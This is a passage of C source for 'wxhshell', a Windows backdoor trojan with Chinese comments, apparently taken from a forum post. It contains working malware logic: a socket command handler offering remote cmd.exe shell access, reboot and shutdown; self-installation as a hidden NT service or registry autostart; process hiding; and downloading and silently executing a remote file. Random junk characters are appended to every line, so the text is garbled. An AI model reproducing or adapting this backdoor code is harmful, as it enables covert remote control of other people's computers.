  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); ]z#)XW3#i  
  } ].2t7{64  
  else { 7{7Y[F0  
8(\J~I[^  
    switch(cmd[0]) { ,*YmXR-"  
  |'I>Ojm  
  // 帮助 x-W~&`UU  
  case '?': { /^v!B`A @  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); 7GS 4gSd3  
    break; Ni|MTE]~  
  } 78 ]Kv^l^_  
  // 安装 \3"B$Sp|=  
  case 'i': { kR:kn:  
    if(Install()) &5XEjY>@  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); wmIe x  
    else /W .G- |:  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); g^x=y  
    break; !m%'aQHH(  
    } !^s -~`'\~  
  // 卸载 gs=ok8w  
  case 'r': { |"S#uJW  
    if(Uninstall()) <QC7HR  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); gK@`0/k{  
    else uqU&k@  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); KUK.;gG*Z  
    break; 1P'A*`!K  
    } <m\<yZ2aa  
  // 显示 wxhshell 所在路径 wa{!%qu5.R  
  case 'p': { xx|D#Z}G  
    char svExeFile[MAX_PATH]; !M`.(sO]  
    strcpy(svExeFile,"\n\r"); "'@D\e}  
      strcat(svExeFile,ExeFile);  "\T-r2  
        send(wsh,svExeFile,strlen(svExeFile),0); 5f?GSHA}  
    break; d*VvQU8C  
    } hdcB*j?4  
  // 重启 $Dx*[.M3>  
  case 'b': { 9_F&G('V{a  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); []aw;\7}Y  
    if(Boot(REBOOT)) Y .cjEeL@  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); g|->W]q@;  
    else { nw,.I [  
    closesocket(wsh); 2+DK:T[  
    ExitThread(0); cWZ uph\  
    } Lwx J:Kz.  
    break; Mis B&Ok`k  
    } nTGZ2C)c<'  
  // 关机 K3`!0(  
  case 'd': { SZLugyZ2Y  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); @: =vK?8L  
    if(Boot(SHUTDOWN)) maY.Z<lN  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); M!mw6';k  
    else { 4lpcJ+:o  
    closesocket(wsh); &A.0(s  
    ExitThread(0); [KHlApL  
    } @1&"S7@}u  
    break; ,}@4@ >?K  
    } S]|sK Y  
  // 获取shell zLJmHb{(  
  case 's': { 00f'G2n  
    CmdShell(wsh); B8"c+<b  
    closesocket(wsh); F[%k ;aJ  
    ExitThread(0); `''y,{Fs  
    break; r-L& ee   
  } +WR?<*_  
  // 退出 9ZU^([@D  
  case 'x': { *QWOW g4w  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); ! l0"nPM=  
    CloseIt(wsh); 4e eh+T  
    break; (3D&GY!/  
    } <%% )C>l  
  // 离开 vY|YqWt  
  case 'q': { [q3zs_nz  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); iymN|KdpaZ  
    closesocket(wsh); 4k3pm&  
    WSACleanup(); nh5=0{va|L  
    exit(1); <fDT/  
    break; lVq5>:'}^;  
        } 7)[Ve1;/N  
  } L[ D+=  
  } 3h=kn@I  
9$e$L~I#u  
  // 提示信息 s$fX ;  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); #X %!7tU6  
} Hd\oV^ >  
  } 6("bdx;!  
sF[gjeIb  
  return; F:P2:s<d-  
} 0&I*)Zt9x  
(t V T&eO  
// shell模块句柄 0x5Ax=ut  
int CmdShell(SOCKET sock) [?9 `x-Q  
{ %dW ;P[0  
STARTUPINFO si; l-v m`-_#  
ZeroMemory(&si,sizeof(si)); ^< cJ;u*0  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; ilJ`_QN  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; Op]*wwI*h  
PROCESS_INFORMATION ProcessInfo; bfoTGi  
char cmdline[]="cmd"; R_+:nCB@,  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); D QxuV1  
  return 0; 'SlZ-SdR  
} `Ji WS  
h0k?(O  
// 自身启动模式 9U.Ctx:F  
int StartFromService(void) F_R\  
{ x=7:D  
typedef struct >FOCdlJ#  
{ i?(cp["7  
  DWORD ExitStatus; e<9 ^h)G  
  DWORD PebBaseAddress; `4xQ#K.-  
  DWORD AffinityMask; j_}:=3  
  DWORD BasePriority; _^(1Qb[  
  ULONG UniqueProcessId; s6!&4=ZA  
  ULONG InheritedFromUniqueProcessId; :X'B K4EN  
}   PROCESS_BASIC_INFORMATION; >]ux3F3\  
^ }5KM87  
PROCNTQSIP NtQueryInformationProcess; :fL7"\ pf~  
<2 [vR|Q*  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; A~nqSe  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; q|]CA  
:ZB.I(v  
  HANDLE             hProcess; _p 1!8*0]  
  PROCESS_BASIC_INFORMATION pbi; zo "L9&Hzo  
}MMKOr(  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); Ekq(  
  if(NULL == hInst ) return 0; O-UA2?N@j  
5;/q[oXI  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); YV|_y:-  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); VvP: }yJ  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); PH8 88O  
>/4[OPB0R  
  if (!NtQueryInformationProcess) return 0; GEVDXx>@  
*?1\S^7R  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); vO9=CCxvq  
  if(!hProcess) return 0; __tA(uA  
iOv>g-t:  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; W>+`e]z  
"DvZCf[}  
  CloseHandle(hProcess); [c1Gq)ht  
R|)l^~x  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); f!YlYk5  
if(hProcess==NULL) return 0; Oj%5FUP~[%  
x5PM ]~"p  
HMODULE hMod; \l3z <\  
char procName[255]; 1@'I eywg  
unsigned long cbNeeded; c9jS !uDMK  
_>`9]6\&  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); zTMLE~w  
yLCMu | +  
  CloseHandle(hProcess); \DE, ,  
j ]%XY+e  
if(strstr(procName,"services")) return 1; // 以服务启动 1I'Q{X&B  
~QUNR?h  
  return 0; // 注册表启动 W-r^ME  
} X)RgXl{  
vdUKIP =|_  
// 主模块 _0^>^he  
int StartWxhshell(LPSTR lpCmdLine) G!C }ULq  
{ 58HAl_8W  
  SOCKET wsl; ~};q/-[r  
BOOL val=TRUE; n;=FD;}j+  
  int port=0; <"p-0=IgJ  
  struct sockaddr_in door; 7y30TU  
]57Ef'N  
  if(wscfg.ws_autoins) Install(); SzeY?04zj:  
 <{ v %2  
port=atoi(lpCmdLine); ~-H3]  
{=d}04i)E"  
if(port<=0) port=wscfg.ws_port; j$6Q]5KdoS  
*a|575e< z  
  WSADATA data; 3jW&S  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; -Mrt%1g  
AH'3 5Kf)  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   1K|F;p  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); ppLLX1S  
  door.sin_family = AF_INET; zNo"P[J8  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); #Q=c.AL{  
  door.sin_port = htons(port); RTg\c[=w  
Hiwij,1  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { d+]=l+&  
closesocket(wsl); ^  ~1QA  
return 1; 47{5{/B-  
} Qqj9o2  
q6sb;?I  
  if(listen(wsl,2) == INVALID_SOCKET) { *+6iXMwe  
closesocket(wsl); Vz-q7*o $S  
return 1; uxKO"  
} yEh{9S%6p  
  Wxhshell(wsl); Hc|cA(9sh9  
  WSACleanup(); mv,a>Cvs[  
sHPeAa22  
return 0; y#`;[!  
t3^`:T\  
} jVoD9H F/  
hG<[F@d  
// 以NT服务方式启动 k}}'f A  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) c 8Q2H  
{ 'T qF}a7  
DWORD   status = 0; ~g#/q~UE  
  DWORD   specificError = 0xfffffff; d9jD?HgM(  
j5/|1N  
  serviceStatus.dwServiceType     = SERVICE_WIN32; G[_Z|Xi1  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; c`S+>:  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; ?uJX  
  serviceStatus.dwWin32ExitCode     = 0; \4<|QE  
  serviceStatus.dwServiceSpecificExitCode = 0; /$\8?<Pc".  
  serviceStatus.dwCheckPoint       = 0; #s>'IPc0  
  serviceStatus.dwWaitHint       = 0; .rwW5"RPq  
S&[9Vb  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); xA2I+r*o  
  if (hServiceStatusHandle==0) return; "8U=0a  
^k^?>h  
status = GetLastError(); p__N6a  
  if (status!=NO_ERROR) (@^ySiU  
{ L5|g \Y`  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; ^Ojg}'.Ygv  
    serviceStatus.dwCheckPoint       = 0; kou7_4oS  
    serviceStatus.dwWaitHint       = 0; ${wp}<u_  
    serviceStatus.dwWin32ExitCode     = status; RDy&i  
    serviceStatus.dwServiceSpecificExitCode = specificError; ?0JNaf  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); 2cGiE{  
    return; MujEjD "|  
  } BE~-0g$W  
SlT>S1`rnG  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; OqF8KJnO;  
  serviceStatus.dwCheckPoint       = 0; *W,[k&;:  
  serviceStatus.dwWaitHint       = 0; R4k+.hR  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); G'dN<Nw6  
} 5U]@ Y?  
XsFzSm  
// 处理NT服务事件,比如:启动、停止 .J+F H G'  
VOID WINAPI NTServiceHandler(DWORD fdwControl) ke<5]&x  
{ >w.%KVBJ  
switch(fdwControl) Y}Y~?kE>M|  
{ oZl%0Uy?9I  
case SERVICE_CONTROL_STOP: 1^tX:qR  
  serviceStatus.dwWin32ExitCode = 0; -F3~X R  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; jWh)bsqI!  
  serviceStatus.dwCheckPoint   = 0; E?BF8t_fTE  
  serviceStatus.dwWaitHint     = 0; S0r+Y0J]<  
  { `Gl[e4U  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); V U5</si+  
  } |m@>AbR5dk  
  return; O2="'w'kR  
case SERVICE_CONTROL_PAUSE: nvNF~)mu  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; R1<$VR  
  break; y+{)4ptg$<  
case SERVICE_CONTROL_CONTINUE: qZ@d:u  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; F8Mf,jnPs  
  break; cN&:V2,  
case SERVICE_CONTROL_INTERROGATE: BB(v,W  
  break; 1~LfR  
}; 5dD8s-;^T  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); ~3f|-%Z  
} lB_X mI1t  
owVks-/  
// 标准应用程序主函数 Sl<1Rme=w  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) }#g+~9UK  
{ Q1|zX@,  
SB.=x  
// 获取操作系统版本 S'NLj(  
OsIsNt=GetOsVer(); EYC ZuJxv  
GetModuleFileName(NULL,ExeFile,MAX_PATH); bw7gL\*  
O/d]2<V  
  // 从命令行安装 ?d{O' &|:  
  if(strpbrk(lpCmdLine,"iI")) Install(); Em5,Zr_  
gG}H5uN  
  // 下载执行文件 BF;}9QebmS  
if(wscfg.ws_downexe) { GU/-L<g  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) b0f6p>~q^  
  WinExec(wscfg.ws_filenam,SW_HIDE); O|^J;fS:  
} 6-J}ZfGj  
!"Q%I#8uh  
if(!OsIsNt) { .9,x_\|G*  
// 如果时win9x,隐藏进程并且设置为注册表启动 ,Oy$q~.  
HideProc(); gFu,q`Vf*  
StartWxhshell(lpCmdLine); :M f8q!Q'  
} BGwD{6`U  
else ?TK`sGy  
  if(StartFromService()) S?C.:  
  // 以服务方式启动 84WcaH  
  StartServiceCtrlDispatcher(DispatchTable); ,9_O4O%  
else dGkw%3[  
  // 普通方式启动 dC-~=}HR^  
  StartWxhshell(lpCmdLine); i'"#{4I  
cL;%2TMk  
return 0; %iEdUV\$  
}
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只看该作者 1 发表于: 2006-10-10
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